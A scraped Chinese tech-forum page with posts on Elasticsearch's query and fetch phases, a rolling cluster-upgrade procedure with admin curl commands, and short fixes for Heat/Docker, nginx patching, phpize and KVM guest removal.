CRUD这些操作的过程中一般都是结合一些唯一的标记例如:_index,_type,以及routing的值,这就意味在执行操作的时候都是确切的知道文档在集群中的哪个node中,哪个shard中。

而检索过程往往需要更多的执行模式,因为我们并不清楚所要检索的文档具体位置所在, 它们可能存在于ES集群中个任何位置。因此,一般情况下,检索的执行不得不去询问index中的每一个shard。

但是,找到所有匹配检索的文档仅仅只是检索过程的一半,在向客户端返回一个结果列表之前,必须将各个shard发回的小片的检索结果,拼接成一个大的已排好序的汇总结果列表。正因为这个原因,检索的过程将分为查询阶段与获取阶段(Query Phase and Fetch Phase)。

Query Phase
在最初的查询过程中,查询请求会广播到index中的每一个primary shard和replica shard中,每一个shard会在本地执行检索,并建立一个优先级队列(priority queue)。这个优先级队列是一个根据文档匹配度这个指标所排序列表,列表的长度由分页参数from和size两个参数所决定。例如:

d.png


下面从一个例子中说明这个过程:

e.png

Query Phase阶段可以再细分成3个小的子阶段:

子阶段1:客户端发送一个检索的请求给node 3,此时node 3会创建一个空的优先级队列并且配置好分页参数from与size。

子阶段2:node 3将检索请求发送给该index中个每一个shard(这里的每一个意思是无论它是primary还是replica,它们的组合可以构成一个完整的index数据)。每个shard在本地执行检索,并将结果添加到本地优先级队列中。

子阶段3:每个shard返回本地优先级序列中所记录的_id与sort值,并发送node 3。Node 3将这些值合并到自己的本地的优先级队列中,并做全局的排序。
 
Fetch Phase
Query Phase主要定位了所要检索数据的具体位置,但是我们还必须取回它们才能完成整个检索过程。而Fetch Phase阶段的任务就是将这些定位好的数据内容取回并返回给客户端。
 
同样也用一个例子来说明这个过程:

f.png

Fetch Phase过程可以分为三个子过程来描述:

子阶段1:node 3获取了所有待检索数据的定位之后,发送一个mget的请求给与数据相关的shard。

子阶段2:每个收到node 3的get请求的shard将读取相关文档_source中的内容,并将它们返回给node 3。

子阶段3:当node 3获取到了所有shard返回的文档后,node 3将它们合并成一条汇总的结果,返回给客户端。

Elasticsearch 集群版本升级步骤及注意事项

大数据/云计算Ansible 发表了文章 • 0 个评论 • 1070 次浏览 • 2015-06-17 23:03 • 来自相关话题

Elasticsearch 自从1.0.7版本之后,集群各节点的滚动式升级已不需要重启集群,相比之前的升级模式来看,可以非常平滑的渡过升级过程。这里将叙述集群滚动式升级及其注意事项。

1、升级前的准备工作

从Elasticsearch 的官方网站 https://www.elastic.co/downloads/elasticsearch 下载最新版本的Elasticsearch,为了线上方便对数据包的管理,一版选择 .gz.tar 格式或者 .zip 格式文件。





解压缩最新版本文件压缩包到指定目录,备份 config 目录中的 elasticsearch.yml 文件(可以简单更名,为elasticsearch.yml.bak即可)。然后复制当前版本Elasticsearch 中配置文件 elasticsearch.yml 文件的内容,到最新版本的 config 目录中。

检查系统中Java 环境是否正常,目前Elasticsearch 的版本必须使用Java 1.7.0及以上版本才能正常启动 Elasticsearch。

修改 bin 目录中 elasticsearch.in.sh 文件,关于Elasticsearch JVM 内存配置大小:





此处可以根据机器硬件配置情况作出适当的调整,一般情况下,此处的内存分配大小为机器物理内存的一半,同时将 ES_MIN_MEM 与 ES_MAX_MEM 配置成相同的值,这样的好处在于ES JVM大小固定,不会上下浮动,从实践效果上看可以提高 node 性能。
 
检查系统允许 Elasticsearch 打开的最大文件数
查看 /etc/security/limits.conf,如果没有指定的话,默认是4096。这里应该添加如下两行:





 这个值可以根据需要适当的调整的更大。如此,当 Elasticsearch 中存在很多 index 的时候不会出现 Too many open files 的错误:





此外,由于ES集群一般都是在内部网络环境中,且节点之间相互通信使用的是 TCP 9300端口,节点与客户端通信则是通过 TCP 9200端口。因此检查 iptalbes 以及SElinux 中是否开启,以及确定这些端口是否被绑定安全策略等等。
 
数据备份:
         在进行升级之前,我们首先要做的就是备份好目前系统中已经存在数据,防止在升级的过程中出现问题后可以方便的恢复原有的数据。例如,在升级的过程中,如果版本差别过大,可能会涉及到底层Lucene libraries的升级,这必将会影响到已存在的index数据,有时升级后的节点无法加入原有版本的集群中。
        幸运的是Elasitcsearch的备份工作十分的简单,备份将用到Elasticsearch的snapshot功能,关于备份和恢复的详细过程我会单独详细阐述。
 
如果有必要的话,可以在最后的上线之前可以再做一次最后的测试,在测试之前,先修改Elasticsearch 中的配置文件,即是elasticsearch.yml 中的 cluster.name 参数的名称,避免加入了线上集群中。并利用 curl -XGET localhost:9201 来测试新版本的 Elasticsearch 进程是否正常。





如果看到了以上内容,则表明新版本的Elasticsearch 可以正常运行。接下来,就准备更换节点ES版本了。
 
2、集群滚动升级

滚动升级(Rolling upgrade)

    Rolling upgrade的备份过程可以让用户在一个时间内只升级集群中的某一个特定的节点。由于Elasticsearch集群具有非常优秀的容灾机制,因此,在删除集群中的某一个节点时,数据并不会丢失,而是可以由其余节点上的拷贝恢复。

    不建议在一个集群中长时间的运行多个版本的Elasticsearch实例,因为当删除的节点恢复时,将来自多个版本实例的数据汇聚到同一个节点会有可能会导致节点无法工作。

    接下来来叙述Rolling upgrade升级的操作步骤:

    关闭shard 的实时分配选项,这样做的目的在于当集群shutdown之后可以快速的启动。这个参数默认是开启的,默认情况下当实例启动时,会尝试从其他节点实例上拷贝相关的shard副本至本地,这样会浪费大量的时间和耗费高额的IO资源。如果实时分配选项关闭了,那么当新的实例启动,尝试加入集群的时候,它不会从其他实例上拷贝shard副本。当实例完全启动之后,则应该再将该选项开启,以提供长期的容灾。curl -XPUT localhost:9200/_cluster/settings -d '{
"transient" : { "cluster.routing.allocation.enable" : "none"
}
}'关闭所要升级版本的节点实例,并将其移除集群  curl -XPOST 'http://localhost:9200/_cluster/nodes/_local/_shutdown'移除节点之后,等待剩余节点数据转移完成,直到确定所有的shard都被正确地分配。

升级节点的Elasticsearch版本,最简单和最安全的办法就是下载一个全新的Elasticsearch版本到本地,并将原来Elasticsearch的配置文件复制到新的版本中,最好能建立一个Elasticsearch的软连接到最新版本文件所在的目录,这样可以方便将来使用。

启动已经升级好的节点ES实例,并检查其是否正确地加入到集群中。

重新开启shard reallocation选项(实时分配选项)curl -XPUT localhost:9200/_cluster/settings -d '{
"transient" : { "cluster.routing.allocation.enable" : "all"
}
}'检查所有的shard是否正确地被分配,并观察集群是否有执行负载均衡(也是就说每个节点被分配相等数目的shard)

重复以上过程至集群中的每个节点,直至这个集群中所有节点完成版本升级。
 
说明:因为目前Elasticsearch的版本都逐渐成熟,曾经的遗留版本基本上很少见到了,因此从1.0版本之前升级到1.0版本之后的步骤就不一一说明了,这个过程将不得不重启整个集群系统才能完成整个版本升级的过程,这里不再详细阐述,如有兴趣可参看:https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-upgrade.html 
 
文章转载参考:http://my.oschina.net/galenz/blog?catalog=3305934 查看全部


Elasticsearch 自从1.0.7版本之后,集群各节点的滚动式升级已不需要重启集群,相比之前的升级模式来看,可以非常平滑的渡过升级过程。这里将叙述集群滚动式升级及其注意事项。


1、升级前的准备工作

从Elasticsearch 的官方网站 https://www.elastic.co/downloads/elasticsearch 下载最新版本的Elasticsearch,为了线上方便对数据包的管理,一版选择 .gz.tar 格式或者 .zip 格式文件。

a.png

解压缩最新版本文件压缩包到指定目录,备份 config 目录中的 elasticsearch.yml 文件(可以简单更名,为elasticsearch.yml.bak即可)。然后复制当前版本Elasticsearch 中配置文件 elasticsearch.yml 文件的内容,到最新版本的 config 目录中。

检查系统中Java 环境是否正常,目前Elasticsearch 的版本必须使用Java 1.7.0及以上版本才能正常启动 Elasticsearch。

修改 bin 目录中 elasticsearch.in.sh 文件,关于Elasticsearch JVM 内存配置大小:

b.png

此处可以根据机器硬件配置情况作出适当的调整,一般情况下,此处的内存分配大小为机器物理内存的一半,同时将 ES_MIN_MEM 与 ES_MAX_MEM 配置成相同的值,这样的好处在于ES JVM大小固定,不会上下浮动,从实践效果上看可以提高 node 性能。
 
检查系统允许 Elasticsearch 打开的最大文件数
查看 /etc/security/limits.conf,如果没有指定的话,默认是4096。这里应该添加如下两行:

c.png

 这个值可以根据需要适当的调整的更大。如此,当 Elasticsearch 中存在很多 index 的时候不会出现 Too many open files 的错误:

d.png

此外,由于ES集群一般都是在内部网络环境中,且节点之间相互通信使用的是 TCP 9300端口,节点与客户端通信则是通过 TCP 9200端口。因此检查 iptalbes 以及SElinux 中是否开启,以及确定这些端口是否被绑定安全策略等等。
 
数据备份:
         在进行升级之前,我们首先要做的就是备份好目前系统中已经存在数据,防止在升级的过程中出现问题后可以方便的恢复原有的数据。例如,在升级的过程中,如果版本差别过大,可能会涉及到底层Lucene libraries的升级,这必将会影响到已存在的index数据,有时升级后的节点无法加入原有版本的集群中。
        幸运的是Elasitcsearch的备份工作十分的简单,备份将用到Elasticsearch的snapshot功能,关于备份和恢复的详细过程我会单独详细阐述。
 
如果有必要的话,可以在最后的上线之前可以再做一次最后的测试,在测试之前,先修改Elasticsearch 中的配置文件,即是elasticsearch.yml 中的 cluster.name 参数的名称,避免加入了线上集群中。并利用 curl -XGET localhost:9201 来测试新版本的 Elasticsearch 进程是否正常。

e.png

如果看到了以上内容,则表明新版本的Elasticsearch 可以正常运行。接下来,就准备更换节点ES版本了。
 
2、集群滚动升级

滚动升级(Rolling upgrade)

    Rolling upgrade的备份过程可以让用户在一个时间内只升级集群中的某一个特定的节点。由于Elasticsearch集群具有非常优秀的容灾机制,因此,在删除集群中的某一个节点时,数据并不会丢失,而是可以由其余节点上的拷贝恢复。

    不建议在一个集群中长时间的运行多个版本的Elasticsearch实例,因为当删除的节点恢复时,将来自多个版本实例的数据汇聚到同一个节点会有可能会导致节点无法工作。

    接下来来叙述Rolling upgrade升级的操作步骤:

    关闭shard 的实时分配选项,这样做的目的在于当集群shutdown之后可以快速的启动。这个参数默认是开启的,默认情况下当实例启动时,会尝试从其他节点实例上拷贝相关的shard副本至本地,这样会浪费大量的时间和耗费高额的IO资源。如果实时分配选项关闭了,那么当新的实例启动,尝试加入集群的时候,它不会从其他实例上拷贝shard副本。当实例完全启动之后,则应该再将该选项开启,以提供长期的容灾。
curl -XPUT localhost:9200/_cluster/settings -d '{
"transient" : { "cluster.routing.allocation.enable" : "none"
}
}'
关闭所要升级版本的节点实例,并将其移除集群  
curl -XPOST 'http://localhost:9200/_cluster/nodes/_local/_shutdown'
移除节点之后,等待剩余节点数据转移完成,直到确定所有的shard都被正确地分配。

升级节点的Elasticsearch版本,最简单和最安全的办法就是下载一个全新的Elasticsearch版本到本地,并将原来Elasticsearch的配置文件复制到新的版本中,最好能建立一个Elasticsearch的软连接到最新版本文件所在的目录,这样可以方便将来使用。

启动已经升级好的节点ES实例,并检查其是否正确地加入到集群中。

重新开启shard reallocation选项(实时分配选项)
curl -XPUT localhost:9200/_cluster/settings -d '{
"transient" : { "cluster.routing.allocation.enable" : "all"
}
}'
检查所有的shard是否正确地被分配,并观察集群是否有执行负载均衡(也是就说每个节点被分配相等数目的shard)

重复以上过程至集群中的每个节点,直至这个集群中所有节点完成版本升级。
 
说明:因为目前Elasticsearch的版本都逐渐成熟,曾经的遗留版本基本上很少见到了,因此从1.0版本之前升级到1.0版本之后的步骤就不一一说明了,这个过程将不得不重启整个集群系统才能完成整个版本升级的过程,这里不再详细阐述,如有兴趣可参看:https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-upgrade.html 
 
文章转载参考:http://my.oschina.net/galenz/blog?catalog=3305934

Docker插件无法删除CREATE_FAILED状态容器资源

大数据/云计算采菊篱下 发表了文章 • 0 个评论 • 660 次浏览 • 2015-06-16 22:42 • 来自相关话题

Docker插件(插件来自master,运行 stable/icehouse)无法删除失败的容器。鉴于以下资源:
docker_dbserver:
type: "DockerInc::Docker::Container"
properties:
image: mysql
port_specs:
- 3306
port_bindings:
3306: 3306
env:
- MYSQL_ROOT_PASSWORD=secret
name: dbserver如果一个容器命名为"dbserver"已经存在,则创建失败:
409 Client Error: Conflict ("Conflict, The name dbserver is already assigned to ff7791c42f29. You have to delete (or rename) that container to be able to assign dbserver to a container again.")这迫使容器变成CREATE_FAILED状态:
$ heat resource-list local
+-----------------+------------------------------+-----------------+----------------------+
| resource_name | resource_type | resource_status | updated_time |
+-----------------+------------------------------+-----------------+----------------------+
| docker_dbserver | DockerInc::Docker::Container | CREATE_FAILED | 2014-09-01T13:49:58Z |
+-----------------+------------------------------+-----------------+----------------------+试图删除该堆栈将导致一个新的错误:
APIError: 404 Client Error: Not Found ("No such container: None")

此时,唯一的选择就是"heat stack-abandon". 查看全部
Docker插件(插件来自master,运行 stable/icehouse)无法删除失败的容器。鉴于以下资源:
docker_dbserver:
type: "DockerInc::Docker::Container"
properties:
image: mysql
port_specs:
- 3306
port_bindings:
3306: 3306
env:
- MYSQL_ROOT_PASSWORD=secret
name: dbserver
如果一个容器命名为"dbserver"已经存在,则创建失败:
409 Client Error: Conflict ("Conflict, The name dbserver is already assigned to ff7791c42f29. You have to delete (or rename) that container to be able to assign dbserver to a container again.")
这迫使容器变成CREATE_FAILED状态:
$ heat resource-list local
+-----------------+------------------------------+-----------------+----------------------+
| resource_name | resource_type | resource_status | updated_time |
+-----------------+------------------------------+-----------------+----------------------+
| docker_dbserver | DockerInc::Docker::Container | CREATE_FAILED | 2014-09-01T13:49:58Z |
+-----------------+------------------------------+-----------------+----------------------+
试图删除该堆栈将导致一个新的错误:
APIError: 404 Client Error: Not Found ("No such container: None")

此时,唯一的选择就是"heat stack-abandon".

make[1]: *** [objs/addon/nginx_tcp_proxy_module-master/ngx_tcp_upstream.o] Error 1

开源技术OpenSkill 发表了文章 • 0 个评论 • 1253 次浏览 • 2015-06-16 21:28 • 来自相关话题

nginx 添加tcp_proxy_module 首先需要执行如下操作:patch -p1 < /path/to/nginx_tcp_proxy_module/tcp.patch
nginx 添加tcp_proxy_module 首先需要执行如下操作:
patch -p1 < /path/to/nginx_tcp_proxy_module/tcp.patch

sh: phpize: command not found ERROR: `phpize' failed

编程语言OpenSkill 发表了文章 • 0 个评论 • 818 次浏览 • 2015-06-16 21:26 • 来自相关话题

[root@cjlx src]# pecl install SeasLog
WARNING: channel "pecl.php.net" has updated its protocols, use "pecl channel-update pecl.php.net" to update
downloading SeasLog-1.1.8.tgz ...
Starting to download SeasLog-1.1.8.tgz (48,686 bytes)
.............done: 48,686 bytes
21 source files, building
running: phpize
sh: phpize: command not found
ERROR: `phpize' failedCentos 解决如下:# yum install php-devel 查看全部
[root@cjlx src]# pecl install SeasLog
WARNING: channel "pecl.php.net" has updated its protocols, use "pecl channel-update pecl.php.net" to update
downloading SeasLog-1.1.8.tgz ...
Starting to download SeasLog-1.1.8.tgz (48,686 bytes)
.............done: 48,686 bytes
21 source files, building
running: phpize
sh: phpize: command not found
ERROR: `phpize' failed
Centos 解决如下:
# yum install php-devel

Kvm ERROR Guest name 'vhostname' is already in use.

大数据/云计算OpenSkill 发表了文章 • 0 个评论 • 872 次浏览 • 2015-06-16 09:54 • 来自相关话题

在完成kvm虚拟机的安装之后,如果想要重装相同名字的虚拟机,是会有错误提示的,就算是删除了虚拟机的xml文件,也会弹出错误提示。

[root@cjlx qemu]# virt-install --name=convirt --ram=512 --vcpus=2 --cpu=core2duo --pxe --os-type=linux --disk path=/data/vm/convirt.img,size=50 --network bridge=br1,model=virtio --network bridge=br0,model=virtio --graphics vnc,password=123456,port=9903 --hvm –force

ERROR    Guest name 'convirt' is already in use.

这点kvm和xen不同,xen的半虚拟化要想重装,只要把创建好的虚拟机配置文件删掉就可以了

kvm如果想要重装相同名字的虚拟机,只需要在虚拟机停止的状态下执行如下命令[root@cjlx qemu]# virsh undefine convirt
Domain convirt has been undefined这样,虚拟机就被干掉了,同样,相应的xml配置文件也干掉了。

然后在执行virt-install安装就不会报错了。 查看全部
在完成kvm虚拟机的安装之后,如果想要重装相同名字的虚拟机,是会有错误提示的,就算是删除了虚拟机的xml文件,也会弹出错误提示。


[root@cjlx qemu]# virt-install --name=convirt --ram=512 --vcpus=2 --cpu=core2duo --pxe --os-type=linux --disk path=/data/vm/convirt.img,size=50 --network bridge=br1,model=virtio --network bridge=br0,model=virtio --graphics vnc,password=123456,port=9903 --hvm –force

ERROR    Guest name 'convirt' is already in use.


这点kvm和xen不同,xen的半虚拟化要想重装,只要把创建好的虚拟机配置文件删掉就可以了

kvm如果想要重装相同名字的虚拟机,只需要在虚拟机停止的状态下执行如下命令
[root@cjlx qemu]# virsh undefine convirt 
Domain convirt has been undefined
这样,虚拟机就被干掉了,同样,相应的xml配置文件也干掉了。

然后在执行virt-install安装就不会报错了。